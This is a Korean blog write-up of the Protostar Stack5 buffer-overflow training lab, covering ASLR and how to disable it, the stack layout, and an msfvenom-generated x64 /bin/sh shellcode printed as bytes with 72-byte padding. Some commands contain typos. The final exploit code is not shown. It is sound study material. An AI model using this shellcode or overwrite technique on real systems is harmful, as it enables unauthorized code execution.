https://github.com/z3tta/Exploit-Exercises-Protostar/blob/master/05-Stack5.md
GitHub - z3tta/Exploit-Exercises-Protostar: Solutions for Exploit-Exercises Protostar
Solutions for Exploit-Exercises Protostar. Contribute to z3tta/Exploit-Exercises-Protostar development by creating an account on GitHub.
github.com
gcc -z execstack -w -no-pie -o stack5 stack5.c
https://github.com/rapid7/metasploit-framework/blob/master/msfvenom
GitHub - rapid7/metasploit-framework: Metasploit Framework
Metasploit Framework. Contribute to rapid7/metasploit-framework development by creating an account on GitHub.
github.com
문제를 풀기전에 ASLR을 제거해야 문제를 풀 수 있다!
ASLR 이란?!
ASLR(Address Space Layout Randomization)
ASLR은 프로그램이 매번 실행 될 때 마다 주소를 랜덤화해서 공격을 방어하는 기법 중 하나 입니다.
데이터 영역만을 무작위 한다 (참고로 바이너리 영역을 무작위화 하는 기법은 PIE이다.)
-> 하지만 무적은 아닙니다.
좀 더 공부하면 주소의 Image Base인 시작 주소만 바뀌므로 중간에 address leak을 한다면 다른 함수도 접근이 가능하다고 합니다. (참고, https://dokhakdubini.tistory.com/298)
[linux] 1. ASLR(Adress Space Layout Randomization)에 대하여
ASLR Address Space Layout Randomization Linux Memory Protection - 1 1. What is ASLR? 자 오늘은 리눅스 메모리 보호기법 첫 번째 입니다. ASLR에 대해서 배워 볼 건데요, 일단 ASLR이란 Address Space Layout Randomization의 줄임
dokhakdubini.tistory.com
이번에 우리는 직접적인 메모리 참조를 해야 하므로 해당 옵션을 해제 합니다.
echo 0 | sudo tee /proc/sys/kernal/randomzie_va_space
참고로 다음 명령을 실행하면 OUTFILE 에 hello 라는 내용이 기록됩니다.
echo "hello" | tee OUTFILE
STACK
---------------------------------
?
---------------------------------
RBP
---------------------------------
RET ADDR <-- 여기에 shellcode가 있는 주소를 담아야함
---------------------------------
exec ShellCode
---------------------------------
여기서는 직접 shellcode를 짜야한다!
msfvenom을 이용하여 shellcode를 만들어보자!
msfvenom -l all | grep linux
msfvemon -p linux/x64/exec CMD='/bin/sh' -f python
buf = b""
buf += b"\x48\xb8\x2f\x62\x69\x6e\x2f\x73\x68\x00\x99\x50"
buf += b"\x54\x5f\x52\x66\x68\x2d\x63\x54\x5e\x52\xe8\x08"
buf += b"\x00\x00\x00\x2f\x62\x69\x6e\x2f\x73\x68\x00\x56"
buf += b"\x57\x54\x5e\x6a\x3b\x58\x0f\x05"
/bin/sh shellcode를 얻었다!
STACK
---------------------------------
?
<-- 'A'*72
---------------------------------
RBP
---------------------------------
RET ADDR <-- 0xFFFFFFFFFFFFFFFF
---------------------------------
exec ShellCode
---------------------------------
현재까지의 exploit code이다.
이제 return 주소에 shellcode가 있는 주소를 넣어주면 끝난다.
어태치를 이용하여 shellcode가 있는 주소를 알아보자!
먼저 실행전에 파이썬 코드에 pause를 해준다.
퍼즈를 하고 exploit code 를 실행하면 퍼즈가 걸리고 pid 번호가 나오고 해당 pid를 이용해서 gdb를 실행 할 수 있다.
stack 맨 위에는 지금 우리가 넣은 더미 값이 들어 있는데 여기를 바로 밑에 우리가 shellcode를 작성한 주소로 바꿔줘야 한다!
exploit code
result
우아ㅏㅏㅏㅏㅏㅏㅏㅏ
'시스템 해킹 > ProtoStar로 처음 입문하기' 카테고리의 다른 글
[pwnable] 시스템 해킹 ProtoStar - Stack6 (PLT, GO) (0) | 2023.02.15 |
---|---|
[pwnable] 시스템 해킹 ProtoStar - Stack5 (PLT, GOT) (0) | 2023.02.15 |
[pwnable] 시스템 해킹 ProtoStar - Stack4 (Return Address) (0) | 2023.02.15 |
[pwnable] 시스템 해킹 ProtoStar - Stack3 (ret2lib) (0) | 2023.02.15 |
[pwnable] 시스템 해킹 ProtoStar - Stack2(환경변수 BOF) (0) | 2023.02.15 |